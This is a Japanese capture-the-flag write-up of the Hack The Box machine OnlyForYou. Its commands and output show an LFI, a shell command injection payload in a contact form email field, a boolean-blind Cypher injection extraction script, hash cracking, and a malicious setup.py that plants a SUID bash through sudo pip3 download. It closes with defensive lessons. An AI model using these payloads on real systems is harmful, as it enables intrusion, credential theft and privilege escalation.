Hack The BoxのWriteup(OnlyForYou)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: OnlyForYou — 全実行コマンド・実行結果レポート
Nmap + vhost発見
only4you.htb / beta.only4you.htb
/download 絶対パスLFI
ソースコード入手
Contact フォーム
dig shell=True 注入
www-data RCE
内部ダッシュボード発見
Gogs/Neo4j (localhost限定)
boolean-blind
Cypher injection
hashcat crack → john SSH
user.txt ✓
Gogs悪性パッケージ
+ sudo pip3
SUID rootbash → root.txt ✓

ポートスキャン & ドメイン発見

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.50.118
nmap -sV -sC -p 22,80 10.129.50.118
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0 (Ubuntu)
BASH
curl -sI --max-time 10 http://10.129.50.118/
RESULT
HTTP/1.1 301 Moved Permanently
Location: http://only4you.htb/
BASH
# /etc/hosts に追記
echo "10.129.50.118 only4you.htb" | sudo tee -a /etc/hosts

サブドメイン探索

BASH
# SecLists 未導入環境では Host ヘッダー総当りで代替可能。
# 実在しないHostは全て「デフォルトvhostへの301」になるため、
# それ以外の応答 (200等) を返すものが本物のvhost。
for sub in beta dev test admin api shop cdn cache git gitea jenkins app; do
  code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 \
    -H "Host: ${sub}.only4you.htb" http://10.129.50.118/)
  echo "$sub => $code"
done
# 公式には wfuzz + SecLists の subdomains-top1million-110000.txt でも可:
# wfuzz -c -f sub-fighter -w .../subdomains-top1million-110000.txt \
#   -u 'http://only4you.htb' -H 'Host: FUZZ.only4you.htb' --hw 12
RESULT
beta => 200   ← 唯一の実在vhost (他は全て301)
dev => 301
test => 301
... (以下すべて301)
🚨
重要発見: beta.only4you.htb という実在の vhost を発見。ここは Flask 製の画像リサイズ/変換アプリで、 ソースコードダウンロードボタンを持つ。
PHASE 2

beta アプリの LFI でソースコード取得 & 脆弱性発見

/source ボタンでソース一式取得

BASH
curl -s http://beta.only4you.htb/source -o source.zip
unzip source.zip
RESULT (ディレクトリ構成)
beta/
├── app.py
├── tool.py          (PIL画像処理: resize/convert)
├── static/
├── templates/
└── uploads/{resize,convert,list}

app.py の /download エンドポイントに任意ファイル読取り

PYTHON (app.py 抜粋)
@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image)
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):                 # ← 絶対パスはノーチェックで通過
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    if not os.path.isfile(filename):
        flash('Image doesn\'t exist!', 'danger')
        return redirect('/list')
    return send_file(filename, as_attachment=True)
🚨
脆弱性の核心: '..' の有無しかチェックせず、 絶対パスはそのまま os.path.isabs() 判定を素通り して send_file() に渡される。image=/etc/passwd のような絶対パス指定だけで任意ファイル読取りが成立する。
BASH
curl -s -d "image=/etc/passwd" http://beta.only4you.htb/download
RESULT
root:x:0:0:root:/root:/bin/bash
...
john:x:1000:1000:john:/home/john:/bin/bash
...
neo4j:x:997:997::/var/lib/neo4j:/bin/bash
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
dev:x:1001:1001::/home/dev:/bin/bash
ℹ️
johndev の一般ユーザーに加え、 neo4jmysql というデータベースサービス アカウントの存在が early に確認できる。

nginx設定 → メインサイトのソースを芋づる式に取得

BASH
curl -s -d "image=/etc/nginx/sites-enabled/default" http://beta.only4you.htb/download
RESULT
server {
    listen 80;
    server_name only4you.htb;
    location / {
        proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
    }
}
server {
    listen 80;
    server_name beta.only4you.htb;
    location / {
        proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
    }
}
BASH
curl -s -d "image=/var/www/only4you.htb/form.py" http://beta.only4you.htb/download
PYTHON (form.py — issecure() 関数)
def issecure(email, ip):
    if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
        return 0
    else:
        domain = email.split("@", 1)[1]
        result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)   # ← コマンドインジェクション
        output = result.stdout.decode('utf-8')
        ...
🚨
致命的な脆弱性発見: email@ 以降 (domain) が検証なしに shell=Truerun() へそのまま渡る。 しかも re.match()末尾に $ アンカーが無い ため、正規表現にマッチする有効なメール文字列の後ろに任意の テキストを追加しても検証を通過してしまう
PHASE 3

Contact フォームの dig コマンドインジェクション → www-data RCE

ペイロード設計と正規表現バイパス確認

NOTE
email = "a@a.invalid;<任意コマンド>;"

- "a@a.invalid" の部分だけで正規表現の必須パターン
  (ローカル部 @ ドメイン部.2文字以上のTLD) を満たすため、
  re.match() の検証を通過する。
- 続く ";<cmd>;" はマッチ結果に影響しないまま email 文字列の
  一部として残り、shell=True の run() に丸ごと渡る。
- ドメイン部に .invalid という(RFC 2606で予約された絶対に実在しない)
  TLDを使うことで、実在ドメイン(例: a.com)のSPFレコード再帰検索に
  よる著しい遅延・タイムアウトを回避し、注入コマンドを高速に実行できる。
BASH
# www-data 権限での id 実行結果を /tmp に書き出させ、
# 出力はレスポンスに表示されないため beta の LFI で読み戻す
# (ブラインドコマンドインジェクション)
curl -s --data-urlencode "email=a@a.invalid;id > /tmp/poc;" \
  -d "subject=x" -d "message=x" http://only4you.htb/

curl -s -d "image=/tmp/poc" http://beta.only4you.htb/download
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ブラインドコマンドインジェクション成立! レスポンス 自体には実行結果が出ないため、「/tmp へファイル出力 → beta の LFI で読み戻す」という自己完結したブラインド パターンを確立。以降の全ステップもこの方式で進める。

内部限定サービスの発見

BASH
curl -s --data-urlencode "email=a@a.invalid;ss -tlnp > /tmp/poc2 2>&1;" \
  -d "subject=x" -d "message=x" http://only4you.htb/
curl -s -d "image=/tmp/poc2" http://beta.only4you.htb/download
RESULT
State   Local Address:Port
LISTEN        0.0.0.0:80
LISTEN  127.0.0.1:53
LISTEN        0.0.0.0:22
LISTEN  127.0.0.1:3000     ← Gogs
LISTEN  127.0.0.1:8001     ← 内部ダッシュボード (Flask+Neo4j)
LISTEN  127.0.0.1:33060 / 3306   (MySQL)
LISTEN  [::ffff:127.0.0.1]:7474   ← Neo4j HTTP
LISTEN  [::ffff:127.0.0.1]:7687   ← Neo4j Bolt
ℹ️
いずれも 127.0.0.1 限定バインドのため、外部 (Kali) から直接到達できない。以降の全操作は www-data のブラインドコマンドインジェクション経由で ターゲット自身に curl を打たせる形で行う。

内部ダッシュボード (8001) へのログイン

BASH
# デフォルト資格情報 admin:admin でログインできる
curl -s --data-urlencode "email=a@a.invalid;curl -s -c /tmp/ck.txt -d 'username=admin&password=admin' http://127.0.0.1:8001/login -o /tmp/poc3;" \
  -d "subject=x" -d "message=x" http://only4you.htb/
admin:admin でログイン成功。ダッシュボードの 「Employees」ページに従業員検索フォーム (Neo4j Cypher クエリ経由) があることを HTML から確認。
PHASE 4

内部ダッシュボードの boolean-blind Cypher injection → user.txt

単純な脱出+新規節追加はことごとく500になる

NOTE
従業員検索 (POST /search, パラメータ search) は Neo4j Cypher クエリに
検索文字列をそのまま埋め込んでいる (概ね
  MATCH (p:employee) WHERE p.name contains '{検索文字列}' RETURN p.name
という構造と推定)。

しかし実機検証の結果、単純な ' 抜けに続けて RETURN / MATCH / WITH /
CALL / EXISTS{MATCH...} など何らかの新規節を追加すると、末尾を //
でコメントアウトしても理由不明のまま常に 500 エラーになることが
判明した(一般的なウォークスルーで紹介される LOAD CSV FROM
'http://attacker/'+a によるOOBデータ流出手法はこの実機では機能しない)。
BASH
# 全て500になる例 (新規節を追加するパターン)
search=Sarah' RETURN 1//
search=Sarah' CALL db.labels() YIELD label AS a RETURN a//
search=Sarah' OR EXISTS { MATCH (o:user) WHERE o.username = 'admin' }
⚠️
唯一機能したのは、既存の WHERE 節の中に留まる単純な ブーリアン OR (例: OR '1'='1) だけだった。 さらに深く調べたところ、「MATCH キーワードを一切含まない 裸パターンの EXISTS{}/count{} 部分式」 だけは正常動作することを突き止めた。

裸パターン EXISTS{} によるブーリアンオラクル確立

PYTHON (内部から127.0.0.1:8001へ、www-data権限で実行)
import requests
s = requests.Session()
s.post("http://127.0.0.1:8001/login", data={"username":"admin","password":"admin"})

def check(cypher_bool_expr):
    payload = ("nonexistentxyz' OR EXISTS { (u:user) WHERE "
               + cypher_bool_expr + " } AND '1'='1")
    r = s.post("http://127.0.0.1:8001/search", data={"search": payload})
    return len(r.text)

print(check("u.username STARTS WITH 'a'"))    # → 10746 (TRUE: adminが該当)
print(check("u.username STARTS WITH 'zzz'"))  # → 7252  (FALSE: 該当なし)
成功! MATCH キーワードを書かずに (u:user) という裸のノードパターンだけを EXISTS{} に入れると正常応答する。レスポンス本文長の 違い (TRUE=全件ヒットで長い / FALSE=0件で短い) を真偽値の オラクルとして使えることを確認した。

1文字ずつのブーリアンブラインド抽出 (ユーザー名でスコープ必須)

PYTHON (抽出ロジック、16並列でSHA256ハッシュを高速抽出)
from concurrent.futures import ThreadPoolExecutor
CHARSET = "0123456789abcdef"   # SHA256 は16進数のみ

def extract(username, field, maxlen=64):
    # 重要: username でスコープしないと、複数ユーザーが存在する場合に
    # 「field が prefix から始まるユーザーが *誰か1人でも* いるか」しか
    # 判定できず、全ユーザー分の抽出結果が1人分の値に収束してしまう!
    scope = f"u.username = '{username}' AND "
    known = ""
    for _ in range(maxlen):
        with ThreadPoolExecutor(max_workers=16) as ex:
            exprs = [scope + field + f" STARTS WITH '{known+c}'" for c in CHARSET]
            results = list(ex.map(check, exprs))
        matched = next((c for c, ok in zip(CHARSET, results) if ok), None)
        if matched is None:
            break
        known += matched
    return known

admin_hash = extract("admin", "u.password")
john_hash  = extract("john",  "u.password")
RESULT (約10秒で完了)
admin: 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
john:  a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6
⚠️
実機トラブルシューティング (バックグラウンド実行): このスクリプトを1回のブラインドコマンドインジェクションで バックグラウンド実行させる際、単純な (python3 extract.py &) > /dev/null 2>&1 & では stdin が親の pipe に繋がったままになり、HTTPリクエストを 処理した gunicorn ワーカーが破棄されるタイミングでプロセスごと 消えてしまう自己潰しバグになる。nohup python3 extract.py < /dev/null > /dev/null 2>&1 & のように stdin/stdout/stderr を完全に /dev/null へデタッチする ことで確実にオーファン化・存続させる必要がある。

hashcat でクラック → SSH → user.txt

BASH
echo "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" > hashes.txt
echo "a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6" >> hashes.txt
hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt --potfile-disable
RESULT
8c6976e5...448a918:admin
a85e870c...411c55f6:ThisIs4You
BASH
sshpass -p 'ThisIs4You' ssh john@10.129.50.118 "cat ~/user.txt"
RESULT
dade7b4abf38a9bd8ad67f3ce45191a2
user.txt — john@onlyforyou
dade7b4abf38a9bd8ad67f3ce45191a2
PHASE 5

Gogs悪性Pythonパッケージ + sudo pip3 download → root.txt

sudo権限の確認

BASH
sshpass -p 'ThisIs4You' ssh john@10.129.50.118 "sudo -l"
RESULT
User john may run the following commands on onlyforyou:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
🚨
pip3 download は、パッケージの .tar.gz (sdist) をダウンロードする際に、依存関係メタデータを取得する目的で 同梱の setup.py を実行する (よく知られた pip の危険な挙動)。しかも許可された URL は http://127.0.0.1:3000/ (= Gogs) 配下に限定されており、 john 自身が Gogs アカウントを持てることを踏まえると、 自作の悪性パッケージを自分のリポジトリにアップロードして そのまま root 権限で実行させられることを意味する。

悪性 setup.py を含む Python パッケージの作成

PYTHON (setup.py)
import setuptools
import os

os.system("cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash")

with open("README.md", "r") as fh:
    long_desc = fh.read()

setuptools.setup(
    name="pwnpack", version="0.0.1",
    author="pentester", author_email="pentest@only4you.htb",
    description="pentest",
    long_description_content_type="text/markdown",
    packages=setuptools.find_packages(),
    classifiers=["Programming Language :: Python :: 3",
                 "Operating System :: OS Independent"],
    python_requires='>=3.6',
)
BASH
mkdir -p pwnpack/pwnpack
touch pwnpack/pwnpack/__init__.py pwnpack/README.md
# (setup.py を pwnpack/ 直下に作成)
cd pwnpack && python3 setup.py sdist bdist_wheel
# → dist/pwnpack-0.0.1.tar.gz が生成される
ℹ️
ペイロードはリバースシェルではなくSUID 化した bash の 設置を選択。リスナー不要で、以後 /tmp/rootbash -p -c '<cmd>' だけで何度でも root コマンドを実行できるシンプルな設計。

Gogs へアップロード (john の資格情報を再利用)

BASH
sshpass -p 'ThisIs4You' scp dist/pwnpack-0.0.1.tar.gz \
  john@10.129.50.118:/tmp/pwnpack-0.0.1.tar.gz
BASH (john の SSH シェル内、Gogs は127.0.0.1限定のためローカルcurl)
# 1. ログイン (john:ThisIs4You は Gogs でも再利用されている)
CSRF=$(curl -sc cj.txt http://127.0.0.1:3000/user/login -o - \
  | grep -oE 'name="_csrf" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -b cj.txt -c cj.txt -d "user_name=john&password=ThisIs4You&_csrf=$CSRF" \
  http://127.0.0.1:3000/user/login

# 2. リポジトリ作成 (毎回フォームページから新鮮な _csrf を取得すること!)
CSRF=$(curl -s -b cj.txt -c cj.txt http://127.0.0.1:3000/repo/create -o - \
  | grep -oE 'name="_csrf" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -b cj.txt -c cj.txt \
  -d "_csrf=$CSRF&user_id=2&repo_name=pwn&private=false&auto_init=true&readme=Default" \
  http://127.0.0.1:3000/repo/create

# 3. ファイルアップロード (2段階: upload-file でUUID取得 → コミット)
CSRF=$(curl -s -b cj.txt -c cj.txt "http://127.0.0.1:3000/john/pwn/_upload/master/" -o - \
  | grep -oE 'name="_csrf" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//')
UUID=$(curl -s -b cj.txt -c cj.txt -F "_csrf=$CSRF" \
  -F "file=@/tmp/pwnpack-0.0.1.tar.gz" \
  "http://127.0.0.1:3000/john/pwn/upload-file" | grep -oE '"uuid":"[^"]+"' | sed 's/.*:"//;s/"//')

CSRF=$(curl -s -b cj.txt -c cj.txt "http://127.0.0.1:3000/john/pwn/_upload/master/" -o - \
  | grep -oE 'name="_csrf" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -b cj.txt -c cj.txt \
  -d "_csrf=$CSRF&files=$UUID&commit_choice=direct" \
  "http://127.0.0.1:3000/john/pwn/_upload/master/"
⚠️
実機トラブルシューティング (CSRF): Gogs の _csrf トークンは使い回すと即座に Bad Request: no CSRF token present になる。 ログイン・リポジトリ作成・アップロード・コミットの各POSTの 直前に必ず対象ページを GET して新鮮なトークンを取得する こと。

sudo pip3 download で root RCE 発火

BASH
echo 'ThisIs4You' | sudo -S /usr/bin/pip3 download \
  http://127.0.0.1:3000/john/pwn/raw/master/pwnpack-0.0.1.tar.gz
RESULT
Collecting http://127.0.0.1:3000/john/pwn/raw/master/pwnpack-0.0.1.tar.gz
  Downloading ... (1.2 kB)
  Saved ./pwnpack-0.0.1.tar.gz
Successfully downloaded pwnpack
BASH
test -u /tmp/rootbash && echo SUID_OK
/tmp/rootbash -p -c 'cat /root/root.txt'
RESULT
SUID_OK
37bcd22aed4d499f141fd80a67f35f6a
root.txt — root@onlyforyou
37bcd22aed4d499f141fd80a67f35f6a
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — john@onlyforyou
dade7b4abf38a9bd8ad67f3ce45191a2
root.txt — root@onlyforyou
37bcd22aed4d499f141fd80a67f35f6a

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
絶対パスLFI beta./download (posixpath.normpath の不備) ソースコード・設定ファイル漏洩 High 絶対パスは’..’チェックとos.path.isabs()を素通りしそのままsend_file()される
OSコマンドインジェクション only4you.htb Contact フォーム (form.py issecure()) リモートコード実行 (www-data) Critical re.match()の末尾アンカー欠如を突きemail欄末尾に任意コマンドを追加、dig実行がshell=Trueでそのまま解釈
デフォルト資格情報 内部ダッシュボード (127.0.0.1:8001) 内部情報への不正アクセス Medium admin:adminでログイン可能
Cypher (Neo4j) injection 内部ダッシュボード従業員検索 (/search) データベース内容の窃取 Critical 裸パターンEXISTS{}部分式によるboolean-blind抽出でuser資格情報のSHA256ハッシュを復元
pip3 setup.py実行 + sudo /usr/bin/pip3 download (sudoers NOPASSWD) 権限昇格 (john→root) Critical Gogsに自作の悪性setup.pyを含むパッケージをアップロードしsudo pip3 downloadでroot実行させる

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + Hostヘッダーvhost探索only4you.htb, beta.only4you.htb
2LFI&ソース取得絶対パス/downloadform.py コマンドインジェクション発見
3コマンドインジェクション正規表現バイパス + .invalid TLDwww-data RCE、内部サービス発見
4Cypher injection裸パターンEXISTS{}によるboolean-blinduser.txt (john)
5権限昇格Gogs悪性パッケージ + sudo pip3root.txt

学んだ教訓 & 防御策

問題点防御策
ファイルダウンロードエンドポイントが絶対パスを弾いていない os.path.isabs()判定で絶対パスを明示的に拒否するか、常にホワイトリストディレクトリ内へのbasename()正規化を強制する。
ユーザー入力がshell=Trueのsubprocess呼び出しにそのまま渡っている shell=Trueを避け引数をリストで渡す。どうしてもシェル経由が必要な場合はshlex.quote()で確実にエスケープする。メール検証regexは必ずfullmatch()または末尾$アンカーを使う。
内部限定サービスがデフォルト/弱い資格情報のまま公開されている 内部サービスであっても初期パスワードの変更を必須化する。多層防御としてWebアプリからのSSRF/内部到達も想定した設計にする。
グラフDBクエリにユーザー入力を文字列結合している Cypherのパラメータ化クエリ ($param 構文) を必ず使用し、文字列結合による動的クエリ構築を避ける。
sudoで許可したpip3 downloadがsetup.py経由の任意コード実行を許してしまう pip downloadやinstallをsudoで許可しない。どうしても必要な場合は–no-deps –no-build-isolationや事前検証済みの社内PyPIミラーに限定し、信頼できないソースからのsdistビルドを禁止する。
HackTheBox: OnlyForYou | 完全攻略レポート